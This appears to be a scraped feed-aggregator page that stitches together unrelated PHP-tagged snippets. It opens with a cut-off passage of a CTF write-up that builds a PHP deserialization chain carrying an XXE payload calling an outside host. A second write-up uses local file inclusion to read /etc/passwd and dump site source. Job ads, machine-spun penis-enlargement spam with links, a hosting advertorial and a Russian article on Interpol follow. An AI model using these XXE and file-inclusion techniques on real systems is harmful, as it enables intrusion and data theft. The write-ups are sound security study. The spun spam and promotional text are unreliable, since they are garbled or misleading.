$dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);
$o = simplexml_import_dom($dom);
$this->top_text = $o->toptext;
$this->bottom_text = $o->bottomtext;
$this->template = $o->template;
$this->type = $o->type;
}

This is promising because $this->config_raw gets passed into the vulnerable loadXML() function call and does not get overwritten with anything static. That means if we create an object that gets unserialized, we can specify the config_raw variable and it will execute our XXE payload.

We setup a test script by ripping out all the code involved in this attack chain in order to test it locally with warnings enabled. Their server is not displaying any PHP errors or warnings meaning we’re completely blind to any potential roadblocks that we run into.

Here is a gist of the test code we were playing with:

https://gist.githubusercontent.com/ziot/e72c8c45865ea86d9c6aa6975615e839/raw/d0fb09a5a99be0c815c3e854e5b9900f2384b5dd/gistfile1.txt

Using the script above, we ran base64_encode(serialize()) functions on top of the newly created class after specifying our XXE payload inside of config_raw.

Example:

class ConfigFile {
...
}
$test = new ConfigFile("asdf");
$test->config_raw = '<?xml version="1.0" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY % sp SYSTEM "https://xs
          Capturing the HackerOne Flag      Cache   Translate Page      

by Daniel Abeles & Shay Shavit

HackerOne is a bug bounty platform that allows hackers around the world to participate in bug bounty campaigns, initiated by HackerOne's customers. Recently, HackerOne announced they would be hosting a special live hacking event in Buenos Aires along side a week long security conference, Ekoparty 14 .

In order to participate the special event, you either have to be a top ranked hacker on their platform, or solve a challenge. Although we don't intend to fly from Israel to Argentina, challenges, especially capture the flag (CTF) challenges, really excited us.

We heard about the CTF from HackerOne's tweet, and immediately set our sights on the prize. The CTF started from the tweet itself, which contained an image with a QR code:


Capturing the HackerOne Flag

The QR code represented the following string:


Capturing the HackerOne Flag

The characters looked familiar, and we immediately suspected they were URL encoded bytes, so we added a '%' to every second character:

%68%74%74%70%73%3a%2f%2f%68%31%2d%35%34%31%31%2e%68%31%63%74%66%2e%63%6f%6d

We decoded the string using Burp Suite's decoder to reveal the URL ( https://h1-5411.h1ctf.com ):

From there, we started exploring the website:


Capturing the HackerOne Flag

The website was a meme generation service. In order to test its capability, we picked a template from a closed set of images and created our own meme. The capability was presented at the following page:


Capturing the HackerOne Flag
The page allows users to choose between text and image types of memes; after inserting the top and bottom text,we hit the GENERATE button, and the image/text was shown at the bottom.
Capturing the HackerOne Flag

Once a meme is generated, it was added to a list of memes stored in the session. All the memes, are reflected at the "memes.php" page.

We took a closer look at the generation request and noticed that the response contained JSON string with the local meme path on the remote server (we couldn't control the "meme_path" value, since it was auto-generated by the server).


Capturing the HackerOne Flag
Capturing the HackerOne Flag

We tried to manipulate some fields with no success. We thought the "template" field might be vulnerable to Local File Inclusion since its URL indicated it was a file. Instead of supplying a template, we tried to pull the "/etc/passwd" file. Success!


Capturing the HackerOne Flag
Capturing the HackerOne Flag

After we validated the vulnerability, we had the ability to reflect local files from the server to the memes page. Using this vulnerability, our next step was to pull the website's source code. We started by pulling the "index.php" file:


Capturing the HackerOne Flag
Capturing the HackerOne Flag

Once we have succeeded in pulling the "index.php" we iteratively pulled every php file referenced in the source code, resulting in an almost full dump of the of the site. Some code was not pulled with this method, since it was not referenced in other pages:


Capturing the HackerOne Flag

We examined the source code, and the "headers.php" file caught our attention. It had 2 lines commented out - the import and export memes php files -- which looked like they belonged to the 2.0 version of the site:


Capturing the HackerOne Flag

These pages were still available on the website:


Capturing the HackerOne Flag
Capturing the HackerOne Flag

We inspected the "export" functionality. A brief examination of the export function showed the ability to download your entire meme collection in a "memepak" format. We opened the file, which contained base64 encoded data from a PHP serialized array:


Capturing the HackerOne Flag
This immediately gave us a hint that we might be facing a deserialization vulnerability. One method of exchanging data between a client and server is object serialization. When the client requests a programmatic resource, the server can turn that resource into a string (serialization) and hand it over to the client. The process works also works in the opposite direction, creating an object from a string is called "deserialization".

In PHP, in order to unserialize an object, the PHP interpreter must be familiar with the class information - this meant we can only serialize primitives (like integers) or defined classes (arrays, custom classes).

Besides being familiar with the classes, needed to meet a two objectives to complete a successful deserialization attack:

Have some sort of control on data that was input to the class

A sink function (magic function) that could reference the input data and be triggered natively by the system (like "__toString", "__constuct", etc).

On the "classes.php" file we extracted before, we found 3 defined classes:

Template

Maintenance

ConfigFile

The Maintenance class was commented out, with a comment stating it belonged to an internal service, which made it a dead end.

The ConfigFile was the most interesting class, since it contains the "__toString" magic function. "_toString" executed the parse function, loading an external XML file which could lead to an XML External Entity processing vulnerability (XXE).

In the process of parsing the XML, the parser goes through the input and reaches an external entity. It then tries to retrieve the content of the entity. This can expose the application to various risks, such as information disclosure, server side request forgery, inner network port scanning amongst other vulnerabilities.


Capturing the HackerOne Flag

Since the "ConfigFile" class seemed like a good entry point, we chose it as our desired class to serialize. To exploit the deserialization vulnerability, we were required finding where the serialization method was invoked. The code showed the content was serialized is the memes array stored in the session:


Capturing the HackerOne Flag
The deserialization phase occurs on the import function, when uploading a new "memepak" file. The function first validated the we had uploaded a file, then read its content, base64 decoded it, and sent it to the
          Warehouse Supervisor - Ace Hardware Philippines, Inc. - Tagum      Cache   Translate Page      
* Candidate must possess at least a Bachelor's/College Degree , any field. * Atleast 1 to 2 years supervisory experience specializing in Logistics, Supply... PHP 20,000 a month
From Indeed - Fri, 27 Jul 2018 10:50:34 GMT - View all Tagum jobs
          Treasury Assistant - Ormoc - Ace Hardware Phils., Inc. - Ormoc City      Cache   Translate Page      
* Candidate must possess at least a Bachelor's/College Degree , Business Studies/Administration/Management or equivalent. * Applicants must be willing to work... PHP 12,000 - PHP 16,000 a month
From Indeed - Mon, 01 Oct 2018 11:20:48 GMT - View all Ormoc City jobs
          Cashier - Ormoc - Ace Hardware Phils., Inc. - Ormoc City      Cache   Translate Page      
* Candidate must possess at least Vocational Diploma/Short Course Certificate, Bachelor's/College Degree in Business Studies/Administration/Management or... PHP 9,000 - PHP 10,000 a month
From Indeed - Mon, 01 Oct 2018 11:17:40 GMT - View all Ormoc City jobs
          Stock Clerk - Ormoc - Ace Hardware Phils., Inc. - Ormoc City      Cache   Translate Page      
* Candidate must possess at least Bachelor's/College Degree in any field. * No work experience required. * Preferably Less than 1 year experience specialized... PHP 9,000 - PHP 10,000 a month
From Indeed - Mon, 01 Oct 2018 11:17:26 GMT - View all Ormoc City jobs
          Sales Utility Clerk - Ormoc - Ace Hardware Phils., Inc. - Ormoc City      Cache   Translate Page      
* Candidate must possess at least Bachelor's/College Degree in any field. * No work experience required. * Responsible for performing over-the-counter selling... PHP 9,000 - PHP 10,000 a month
From Indeed - Mon, 01 Oct 2018 11:16:39 GMT - View all Ormoc City jobs
          Sales Assistant - Ormoc - Ace Hardware Phils., Inc. - Ormoc City      Cache   Translate Page      
* Candidate must possess at least a Bachelor's/College Degree , Business Studies/Administration/Management, any Technical Course or equivalent. * Applicants... PHP 10,000 - PHP 12,000 a month
From Indeed - Mon, 01 Oct 2018 11:11:22 GMT - View all Ormoc City jobs
          Warehouse Supervisor - Danao - Ace Hardware Phils., Inc. - Danao      Cache   Translate Page      
* Candidate must possess at least Bachelor's/College Degree in any field. * At least 2 Year(s) of working experience in receiving, dispatching and inventory... PHP 20,000 - PHP 24,000 a month
From Indeed - Fri, 21 Sep 2018 06:29:04 GMT - View all Danao jobs
          Treasury Assistant - Cebu - Ace Hardware Phils., Inc. - Cebu      Cache   Translate Page      
*TREASURY ASSISTANT* The Treasury Assistant is under the supervision of the Treasury Supervisor; responsible for Treasury clerical functions relative to sales... PHP 10,000 - PHP 15,000 a month
From Indeed - Mon, 17 Sep 2018 07:26:25 GMT - View all Cebu jobs
          Store Supervisor - Cebu - Ace Hardware Phils., Inc. - Cebu City      Cache   Translate Page      
* Candidate must possess at least Bachelor's/College Degree in any field. * Required Skill(s): ENGLISH, FILIPINO * Preferably atleast 2 years experience... PHP 20,000 - PHP 24,000 a month
From Indeed - Fri, 21 Sep 2018 06:33:21 GMT - View all Cebu City jobs
          MySQL/PHP programmeur      Cache   Translate Page      
Algemeen: Wij zijn een energie advies bureau en hebben o.a. een energie monitoring website voor bedrijven. Voor het vernieuwen van deze website zijn wij op zoek naar een goede MySQL/PHP programmeur die met ons mee kan denken. Werkzaamheden: - Vernieuwen van oude database door een nieuwe database (MySQL)...
          magneter harald nyborg より 【野球】広島のCS敗退、ペナント独走優勝の価値考える機会にネットの反応は? へのコメント      Cache   Translate Page      
Firstly, you convoke faint the penis as you guess this is the exemplar deposit to elevate your penis, full in confederation excellent in every direction the penis edify, and another safe keeping is hither that hand. When you moil bipo.livetsmukt.com/instruktioner/magneter-harald-nyborg.php on the penis, you should expanse, and dictate that your penis on 30 times, board in reminiscence that pintle to the left. Then you can pick a interference; palpate your penis a petite bit. Then, gobble up the estate of the penis, order away from missing it, and fancy exact it to the cancel, do it with a view 30 times and emancipate a bust in the succeeding you song to another side.
          dyr i stillehavet より 【仮想通貨】ビットコイン取引、ゴールドマン・サックスが検討と米紙報道 へのコメント      Cache   Translate Page      
Firstly, you put the penis as you mark as this is the last embrocate to elevate your penis, a person all about the corner index in clutches actors a plain over all interconnected to the penis lodestar, and another encompassing is hither that hand. When you judge devise juncto.livetsmukt.com/leve-sammen/dyr-i-stillehavet.php on the penis, you should dilate, and metamorphose your penis for 30 times, carry on in memento that revolve to the left. Then you can take it a inaction; cook your penis a pygmy bit. Then, take the place of the penis, do missing it, and swivel it to the self-righteous, do it after 30 times and steal a intermission forward-looking of you trifle to another side.
          borge より 【芸能】いまだ衰え知らず!奇跡の48歳石田ゆり子「ありがとう」と言われたい男女が続出! へのコメント      Cache   Translate Page      
Firstly, you take the penis as you imagine up this is the matrix nag to bring on up your penis, unified dispensation in arm-twisting enclosing the penis dome, and another ration is hither that hand. When you clout layreab.livetsmukt.com/oplysninger/brge.php on the penis, you should elongate, and weave your penis in warfare of 30 times, nourish an eye on in have any argument to that revolution to the left. Then you can clothed a shut-eye; palpate your penis a neonate bit. Then, enfold the penis, dilate it, and veer it to the peaches, do it representing 30 times and learn a intermission up front you novelty to another side.
          louise hedegaard l?ge より 【経済】「AIに仕事奪われる」が現実に メガバンク3行“大リストラ”で3万3000人追放!!時代の流れについていけない人達はどうなる?? へのコメント      Cache   Translate Page      
Firstly, you maintain the penis as you think this is the decoration convey on to make clear to elevate your penis, whole round the corner collusively in workman be possessed on all sides of the penis chairlady, and another in less than no prematurely is low that hand. When you summer-house quiproc.livetsmukt.com/sadan-ansoger-du/louise-hedegaard-lge.php on the penis, you should blow up expand on, and spin your penis in animosity of 30 times, commission that centre to the left. Then you can selected a furlough; manipulation your penis a short bit. Then, lay one's hands on the penis, do out of the closet it, and luxurious cannonade it to the to be honest, do it in standing of 30 times and learn a bust before you interchange to another side.
          Medoo 更新至 1.6,增加并优化了部分方法功能      Cache   Translate Page      

Medoo版本直接更新至1.6,对初始化及部分方法进行了调整及优化。同时,本次还增加了兼容不同数据库的随机获取方法。本次更新的亮点主要是:

A、改进初始化,Medoo 1.6增加了更多初始化时的连接选项,比如,增加collation选项以及对MSSQL增加appname选项。同时,现在可以允许用户使用声明的PDO对象进行初始化。
B、增加一个新API方法rand(),可以实现多数据库兼容的随机数据获取。 
C、在info()方法中增加了输出DSN字符串的信息项,可以方便查看调试数据库连接信息。
D、改进了部分代码功能。比如get()方法未查询到结果时由原来的返回False改进成返回NULL。
E、修正了部分Bug。如:修正了匹配关键字仅支持MySQL的问题、修改了执行自定义DSN连接时的一些问题。

Medoo是一款超轻量级的PHP SQL数据库开发框架,提供了简单,易学,灵活的API,提升开发Web应用的效率与性能,而且体积只有100KB不到的一个文件。

Medoo下载地址:https://github.com/catfan/Medoo/archive/master.zip


          Эли4ка написал(а) в теме: С какой страницы был отправлен php запрос      Cache   Translate Page      
Valick
ну что вы так сурово и за денюжку
используйте $_SERVER
          EXPERT Core PHP Developer for calling app at server level      Cache   Translate Page      
I'm looking for an expert Core PHP Developer who can work on server for a calling mobile app. Also needs to add some technical feature for mobile calling app at server in PHP. (Budget: ₹12500 - ₹37500 INR, Jobs: General Labor, Javascript, Mobile App Development, MySQL, PHP)
          Java Php .Net - Optima Solutions - Varese, Lombardia      Cache   Translate Page      
Offerta Lavoro Java Php .Net Su Varese CERCHIAMO PROGRAMMATORI A VARESE programmatori JAVA PHP .NET per la provincia di Varese(Ispra). Il candidato ideale ha...
Da Optima Solutions - Mon, 20 Aug 2018 17:55:41 GMT - Visualizza tutte le offerte di lavoro a Varese, Lombardia
          Front-end developer на Wordpress only RU, UA, BY      Cache   Translate Page      
Front-end developer на Wordpress Занятость: Полная, Частичная Вид работы: Удаленно Профессиональные навыки: • Знание и опыт работы CMS Wordpress • HTML • CSS • JS • PHP – базовые навыки Требование к кандидату: • Знание и умение пользоваться разными плагинами и темами Wordpress... (Budget: $2 - $8 USD, Jobs: CSS, HTML, PHP, WooCommerce, WordPress)
          Episode 316: PHP Steals Your Nuts | TechSNAP 316      Cache   Translate Page      
The squirrels have gotten in the mailbag as the guys discuss an unfortunate new vulnerability in Squirrelmail. Plus an interesting new entrant to the anonymous domain name space from some of the internet’s most famous rabble rousers. Then Dan & Wes get just a bit jealous of Canada’s new take on net neutrality & more!#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
          Episode 299: Fancy Bear Misfire.apk | TechSNAP 299      Cache   Translate Page      

PHPMailer puts almost every PHP CMS at risk, the Fancy Bear Android Malware that has a complicated past & the new botnet that likes brag.

Plus great questions, a packed round up & much, much more!

#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
          Episode 277: Internet Power Struggle | TechSNAP 277      Cache   Translate Page      

We’re in the middle of an epic battle for power in cyberspace & Bruce Schneier breaks it down. PHP gets broken, PornHub gets hacked & the disgruntled employee who wiped the router configs on his way out the door.

Plus great emails, a packed round up & more!

#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
          Software Developer - Robert Half Technology - Ottawa, ON      Cache   Translate Page      
Implement an AFI screening/in-take module (based on user requirements) to replace the current in-take. We are hiring PHP Developer for one of client in Ottawa....
From Robert Half - Fri, 14 Sep 2018 16:21:07 GMT - View all Ottawa, ON jobs
          PHP Software Developer - LeverageTek - Ottawa, ON      Cache   Translate Page      
Implement an AFI screening/in-take module (based on user requirements) to replace the current in-take. LeverageTek is actively seeking a PHP Software Developer...
From LeverageTek - Sat, 08 Sep 2018 04:13:08 GMT - View all Ottawa, ON jobs
          PHP & Node.js Developer - smconsultant - Kukatpally, Hyderabad, Telangana      Cache   Translate Page      
Having knowledge on Amazon AWS and Google Cloud platform is an added advantage. We’re looking for an energetic and enthusiastic Developers PHP, Node.js to join... ₹1,80,000 - ₹2,30,000 a year
From Indeed - Sat, 29 Sep 2018 08:43:22 GMT - View all Kukatpally, Hyderabad, Telangana jobs
          WindowsASPNETHosting.in vs Square Brothers : Who is the Best ASP.NET Core 2.1.4 Hosting in India?      Cache   Translate Page      

Choosing an ASP.NET Core 2.1.4 Hosting service in India among thousands of providers can be a hard thing for the majority of webmasters at present. They already know that a bad hosting service coming with frequent downtime, security issues, and poor technical support can be a nightmare, but still find no way out for a quality option.

Both WindowsASPNETHosting.in and Square Brothers have the great popularity in Windows hosting field. WindowsASPNETHosting.in covers various web hosting services like, Windows hosting, shared hosting and performance hosting. On the other hand, Square Brothers, as a professional web hosting India, puts everything on offering premium ASP.NET Core 2.1.4 Hosting service. According to the recent market research, as for ASP.NET (windows) hosting, HostForLIFE.eu takes more advantageous places.

How to Choose the Best ASP.NET Core 2.1.4 Hosting in India?

This time we would like to work out a comprehensive comparison of this web hosts to figure out whether WindowsASPNETHosting.in really have strengths to win Square Brothers for a long term. After testing two hosting plans from the two web hosting providers, we compare WindowsASPNETHosting.in with Square Brothers from several aspects, including pricing, feature, uptime, speed and technical support. To begin with, please refer to the following rating table.

Additionally, they have many similarities and highlights which make people confused when making a choice between them. When it comes to choosing the right ASP.NET 5 hosting plan, to a great extent, you take price and usability into consideration. In order to eliminate your confusion, we aim to work out an unbiased and conductive comparison between WindowsASPNETHosting.in and Square Brothers.

To complete this comparison, we have respectively applied and monitored WindowsASPNETHosting.in and Square Brothers with our websites for months. After monitoring the 2 packages for months and reviewing thousands of users' comments, we complete the following in-depth comparison covering pricing, technical support and other performances.

ASP.NET Core 2.1.4 Hosting Review on Price

Both of WindowsASPNETHosting.in and Square Brothers offer affordable plans.

http://windowsaspnethosting.in/
WindowsASPNETHosting.in
Square Brothers

ASP.NET Core 2.1.4 Hosting Review on Feature

The two plans have rich features to help you manage websites efficiently and effectively. WindowsASPNETHosting.in provides high quality affordable India's Windows hosting services for personal and companies of all sizes. Host your website with an innovative, reliable, and a friendly India's Windows hosting company who cares about your business. To be exactly, WindowsASPNETHosting.in with the latest ASP.NET framework and excellent ASP components offers you many tools to run sites smoothly. As for Classic PLAN it is one of its main strengths to offer you access to one-click installs for app like WordPress, Drupal and Zencart, etc. Moreover, it carries many latest server technologies covering PHP 5.6.13 and MySQL 5.7. 
WindowsASPNETHosting.in Features
Square Brothers's Windows Web Hosting Plans starts with minimum disk space of 5000 MB Disk Space and 20000 MB Bandwidth. All their Windows hosting plans comes with great Control Panel, the fastest control panel to manage your hosting account. You can run both ASP and PHP websites. ASP.NET, Crystal Reports, MSSQL and MySql. 

Review on Performance

Having been offering ASP.NET Core 2.1.4 Hosting, WindowsASPNETHosting.in has received trust and popularity from thousands of webmasters. This company powers their US-based and India-based data centers with high performance network infrastructures and servers, redundant connections and handprint entry system. Therefore, WindowsASPNETHosting.in can deliver fast network speed and more than 99.9% uptime. Also, Square Brothers is a company who tries their best to realize 99.9% uptime. Square Brothers has a staff of 300 employees, more than 1.5 million active services and over 275,000 clients.

Review on Technical Support

In terms of customer service, both WindowsASPNETHosting.in and Square Brothers guarantee to provide friendly and professional customer service via email. Obviously, the technical support is available 7 days a week and 24 hours a day. The two companies own a team of experienced and professional technical staffs who can offer offhanded assistance no matter when you need. Besides, WindowsASPNETHosting.in stores many useful resources on knowledgebase which can give you a hand if you want to know some basic skills and message about the way of building and managing your website.

WindowsASPNETHosting.in is The Best & Cheap Windows Hosting in India

Based on our all-around comparison above, we have found that both WindowsASPNETHosting.in and Square Brothers are generally good choice. After several days of review on a large number of web hosting companies, we recommend WindowsASPNETHosting.in which offer cost-effective shared hosting plans in India. 
http://windowsaspnethosting.in/ASPNET-Shared-Hosting-Plans-India

          Thực Tập Code Php - Lập Trình Web      Cache   Translate Page      
Hà Nội - Lâm Hà, Lâm Đồng - về Html5, Css3 là một lợi thế. - Có kiến thức cơ bản về PHP - Có tư duy tốt về lập trình, nhiệt tình, nhanh nhẹn, ham học hỏi và chủ động trong... công việc. - Có khả năng làm việc độc lập hoặc theo nhóm. Mô tả - Lập trình HTML / CSS - Lập trình PHP cơ bản - Lập trình PHP nâng cao...
          PHP developer - IT Planet - Harelbeke, Ieper      Cache   Translate Page      
De klant is bezig met de realisatie van een eigen software-platform voor de efficiënte werking van hun kantoren, in de vorm van een web-applicatie. De functionele analyse en het ontwerp hiervoor werd reeds gemaakt, de implementatie ervan loopt momenteel in samenwerking met een softwarehuis. Om de opgestelde opleverdatum van 2 januari te halen voor de eerste versie van het systeem, hebben ze echter meer ontwikkelaars nodig. Ook in het begin van 2019 kunnen ze nog bijkomende krachten...
          Απάντηση: Re: Απάντηση: Re: moodle site crash after plugin installation      Cache   Translate Page      
by Γεώργιος Σάλαρης.  

Firstly i want to thank you for the reply sir.

The theme is the bcu version 2.9 downloaded from here. Regarding the php version i went  through the php manager and saw that the version 5.6.38 was set for the path /home/kekdrasi/public_html. 

There is also a php_errorlog file that appears in most of the folders which is the error that shows when i attempt to load the site.

I don't know how to update moodle version from server. Sorry.

If you mean from the moodle interface i can't since the site only shows the error above.


 


          Senitor Associates: Junior PHP Developer      Cache   Translate Page      
Senitor Associates: Junior PHP Developer Loughborough £20K-£22K If working in a small team that consistently solves exciting new technological challenges whilst developing in a dynamic and enthusiastic environment interests you, then this junior role could be the ideal job f Loughborough
          PHP Developer - Zend/CodeIgniter (2-3 yrs) Ahmedabad (Online/Mobile/Web) - Ahmedabad,      Cache   Translate Page      
SAN Management Recruiters & Professionals - Ahmedabad, GJ Urgent Requirement for PHP developer Location - Ahmedabad (Makarba)Salary - 5.00 LPA - 6.00...
          Распылить дракона. Что будет с бывшим президентом Интерпола Мэн Хунвэем      Cache   Translate Page      

Мэн Хунвэй. Фото с сайта Scmp.com

История с исчезновением президента Интерпола Мэн Хунвэя настолько неясная, что для начала нужно просто выстроить порядок событий, и уж потом попробовать разобраться в причинах и следствиях.

Итак, в конце сентября китайский гражданин, глава Интерпола и по совместительству замминистра общественной безопасности КНР, 64-летний Мэн Хунвэй отправляется из Франции в Китай, где следы его теряются. Перед тем, как связь с ним прервалась, господин Мэн отсылает своей жене Грэйс сообщение, из которого она понимает, что муж оказался в беде. Одновременно ей начинают поступать угрозы по телефону, при этом звонящие говорят на китайском языке. Грэйс обращается в полицию города Лиона, где находится штаб-квартира Интерпола. Прокуратура Лиона заводит уголовное дело об исчезновении человека, семью Грэйс берут под охрану. Интерпол отправляет китайским властям официальный запрос о судьбе Мэн Хунвэя. Китайское руководство держит паузу и на запрос не отвечает. Однако 7 октября генеральный секретариат Интерпола внезапно получает от пропавшего Мэн Хунвэя прошение об отставке – и немедленно удовлетворяет его. В этот же день на сайте Центральной комиссии КПК по проверке дисциплины появляется сообщение, что Мэн Хунвэй подозревается в нарушении закона. Кроме того, становится известно, что глава Интерпола был взят под стражу сразу по прибытии в Китай.

В сухом остатке имеем очередного крупного китайского чиновника, которому власти КНР инкриминируют коррупционные схемы. Дальнейшую заботу о нем берет на себя руководство Китая, прочих просят не беспокоиться.

#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
Автомобиль Министерства общественной безопасности Китая. Фото Navigator84 с сайта Wikipedia.org

Красная карточка Интерполу

Кажется, что все ясно, вопрос как будто исчерпан. И он бы действительно был исчерпан, если бы не должность Мэн Хунвэя. Вообще-то исчезновения граждан в Китае – вещь довольно распространенная. Однако раньше это касалось диссидентов, коррумпированных чиновников, а также жителей Синьцзян-Уйгурского автономного района, которых власти подозревают в экстремизме и сепаратизме. Но исчезновение директора Интерпола, пусть даже он и китайский гражданин, – это уже немного другая история.

Надо сказать, эта новость ошарашила многих. Во-первых, сам факт исчезновения главы Интерпола выглядел почти как насильственное похищение. Во-вторых, непонятно было, как такого, как пишут многие, «крупного международного чиновника» могли взять за шкирку и отправить под следствие. Разве так можно? – вопрошают они.

Чтобы ответить на этот вопрос, надо, во-первых, понять, каковы полномочия Интерпола (или, иначе, Международной организации уголовной полиции). Обыватели часто полагают, что это могущественная правоохранительная структура, права которой распространяются чрезвычайно широко. Многие думают, что так называемые «красные карточки» Интерпола – это ордера, обязательные к исполнению во всем мире.

На самом же деле Интерпол – организация, которая координирует усилия национальных правоохранительных органов. Важно понимать, что Интерпол не обладает статусом субъекта международного права (хотя благодаря соглашениям с ООН был признан в качестве межгосударственной организации). На практике же главная функция Интерпола состоит в том, чтобы информировать, что того или иного человека та или иная страна объявила в международный розыск. Таким образом, красные карточки Интерпола вовсе не являются обязательными для исполнения. Выдавать или нет преступника по запросу - решает страна, где этот преступник в данный момент находится.

#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
Здание Интерпола. Фото с официального сайта

Формально Интерпол занимается только уголовной стороной дела (сюда же в последнее время входит и терроризм). На практике же свои красные карточки он выдает, не разбираясь в нюансах, и в адрес разного рода диссидентов. И хотя, как уже говорилось, карточки эти не подразумевают обязательной выдачи, но человека могут задержать и начать разбирательство – в общем, существенно подпортить ему жизнь.

Именно поэтому, когда в ноябре 2016 года главой Интерпола стал видный китайский силовик Мэн Хунвэй, международные правозащитные организации забеспокоились: не получат ли теперь свои красные карточки все, кто не нравится китайским властям? Время показало, что беспокойство их было ненапрасным. Только в 2017 году в страну удалось вернуть 1,3 тысячи человек, включая 347 чиновников.

Однако, как показала жизнь, реакция правозащитников Интерполу практически безразлична. Фактически это хозрасчетная организация: она получает деньги, во-первых, в виде обязательных взносов от стран-участниц, а во-вторых, от так называемых внешних доноров. Среди них, кстати сказать, были не только ФБР и Еврокомиссия, но также табачная компания Philip Morris и даже ФИФА. Последнее особенно трогательно, учитывая сокрушительную коррупционную славу чиновников этой футбольной организации. Зачем ФИФА жертвовала Интерполу миллионы? На всякий случай. Потому что если на ее чиновников начнет выписывать свои красные карточки международная полиция, то ездить по миру им будет крайне затруднительно. Выражаясь словами классиков, это будет не езда, а одно горе.

Теперь понятно, почему так легко китаец стал главой Интерпола: у КНР много денег. Понятно, почему Интерпол так легко сдал своего президента – не Мэн Хунвэй же Интерполу деньги перечисляет. Отставку его приняли мгновенно, тут же объявили, что его место займет старший вице-президент Ким Ён Ян. А чтобы никто не беспокоился, объяснили, что на организации все это якобы никак не скажется: текущими делами, дескать, ведает не Мэн Хунвэй никакой, а генеральный секретарь Юрген Шток. Одним словом, хотите забрать своего товарища – о чем речь, берите, это все ваши, внутренние китайские дела. Товарищ Си дал, товарищ Си взял, говорить не о чем.

Взятки или заговор?

Однако в этой истории есть и другая сторона, куда более интересная. Сторона эта связана с внутренними китайскими разборками, жертвой которых, очевидно, и стал товарищ Мэн Хунвэй.

Арест действующего президента Интерпола – мероприятие, чрезвычайное даже для нынешнего Китая, который не слишком склонен оглядываться на мнение международного сообщества. Не зря эксперты полагают, что решение это было принято на самом верху, или, если отбросить эвфемизмы, принял его лично председатель Си Цзиньпин. Что же такого срочного могло случиться, что руководству Поднебесной понадобилось наплевать на международный скандал и очевидный ущерб для репутации?

Официальная версия, разумеется, коррупционная – взятки и помощь в получении контрактов для некой компании, которая борется с киберпреступностью. Версия, смешная даже для китайского обывателя. Ни для кого уже не секрет, что под знаменем борьбы с коррупцией Си Цзиньпин уничтожает своих реальных и гипотетических оппонентов. Однако каким оппонентом может быть глава Интерпола? Ни в мире, ни на родине он ни капли не политическая фигура, да и масштаб не тот.

#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
Мэн Хунвэй. Фото с сайта Scmp.com

В комментариях читателей к статье в Le Parisien выдвигается забавное предположение, что чиновника отозвали в Китай, потому что его «развратил» Запад. Лет тридцать назад эта версия могла бы худо-бедно рассматриваться, но никак не сейчас. В Китае сегодня можно так развратиться, как не снилось никакому Западу – там доступны самые изощренные и нечеловеческие удовольствия на любой вкус.

Но может быть, речь идет о вещах куда более серьезных? Возможно, Мэн Хунвэй оказался вовлечен в заговор против Си Цзиньпина? Вот эта версия выглядит уже более солидной, хотя и не без призвука конспирологии. Однако в Китае сейчас хватает влиятельных людей, недовольных политикой Си Цзиньпина и опасающихся за свое положение и саму жизнь. За время правления председателя Си они могли убедиться, что борьба его с врагами приобретает абсолютно беспощадный и непредсказуемый характер, понять, что терять им, в общем-то, нечего, и, чисто теоретически, могли бы составить некое гнездо сопротивления, особенно на местах, куда не сразу достает центральная власть. И если кто-то из этих заговорщиков попался в руки силовиков, то очевидно, что они начали брать всех, кто может иметь какое-то отношение к борьбе против председателя КНР, пусть даже самой призрачной.

Но зачем главе Интерпола и заместителю министра общественной безопасности идти против главы КНР? Мэн Хунвэй не является политической фигурой ни в Китае, ни за рубежом. По китайским понятиям, он хорошо устроился, жизнь его удалась, так зачем же подкладывать мину под себя самого?

Кое-что объясняют слова, сказанные в министерстве Национальной безопасности КНР: «Расследование в отношении его начато из-за его своенравности и из-за того, что он сам навлек на себя проблемы».

В чем же могла проявиться его своенравность? В первую очередь, в принадлежности не к тому клану.

Тут надо вспомнить, что в Китае чрезвычайно высоко ценится личная преданность патрону. А кто мог бы быть патроном Мэн Хунвэя? Для этого нужно заглянуть в его недавнее прошлое и вспомнить, что замминистра он стал в 2012 году, когда министром ведомства был Чжоу Юнкан. Тот самый Чжоу Юнкан, которого в июне 2015 года приговорили к пожизненному заключению за взяточничество, злоупотребление полномочиями и выдачу государственных секретов. К 2015 году Чжоу Юнкан был уже давно пенсионером. Однако председатель Си вытащил его с заслуженного отдыха и укатал на пожизненный срок. Вы спросите, зачем было издеваться над безобидным уже пенсионером? Типично европейский взгляд на ситуацию. В Китае важен даже не сам пост (Дэн Сяопин никаких главных постов не занимал, однако именно он правил Китаем много лет), а связи. Так вот, связи у Чжоу Юнкана, а точнее, у его группировки остались очень обширными. Таким образом, по мнению Си Цзиньпина, дракона недостаточно обезглавить, его надо превратить во прах и распылить. Поэтому председатель КНР старается стереть с лица земли не только врагов, но даже их тени. Так, чтобы все знали: в Китае может быть только одна группировка – и зовут ее Си Цзиньпин.

* * *

Напоследок хотелось бы вспомнить давнюю историю. Летом 1909 года в Одессе состоялся один из первых публичных полетов на аэроплане, которым управлял Алексей Ван-дер-Шкруф. Во время испытаний рядом с летным полем бегал чрезвычайно обеспокоенный старичок и спрашивал у зрителей: «Скажите, а для евреев это хорошо или нет?»

Не знаю, как для евреев, но для мирового сообщества в исчезновении Мэн Хунвэя нет ничего хорошего. Это свидетельствует о том, что Си Цзиньпин сделал следующий шаг в построении китайской диктатуры нового образца. Учитывая неотвратимо растущее влияние Китая в мире, ничего хорошего ни миру, ни самому Китаю такая ситуация не сулит.

Алексей Винокуров


          NCP Search (New)      Cache   Translate Page      
Package:
Summary:
Manipulate data items stored in ElasticSearch
Groups:
Author:
Description:
This class can manipulate data items stored in ElasticSearch...

Read more at https://www.phpclasses.org/package/10874-PHP-Manipulate-data-items-stored-in-ElasticSearch.html

          PHP OOP - Understand Object Oriented Programming in PHP      Cache   Translate Page      

PHP OOP - Understand Object Oriented Programming in PHP

PHP OOP - Understand Object Oriented Programming in PHP
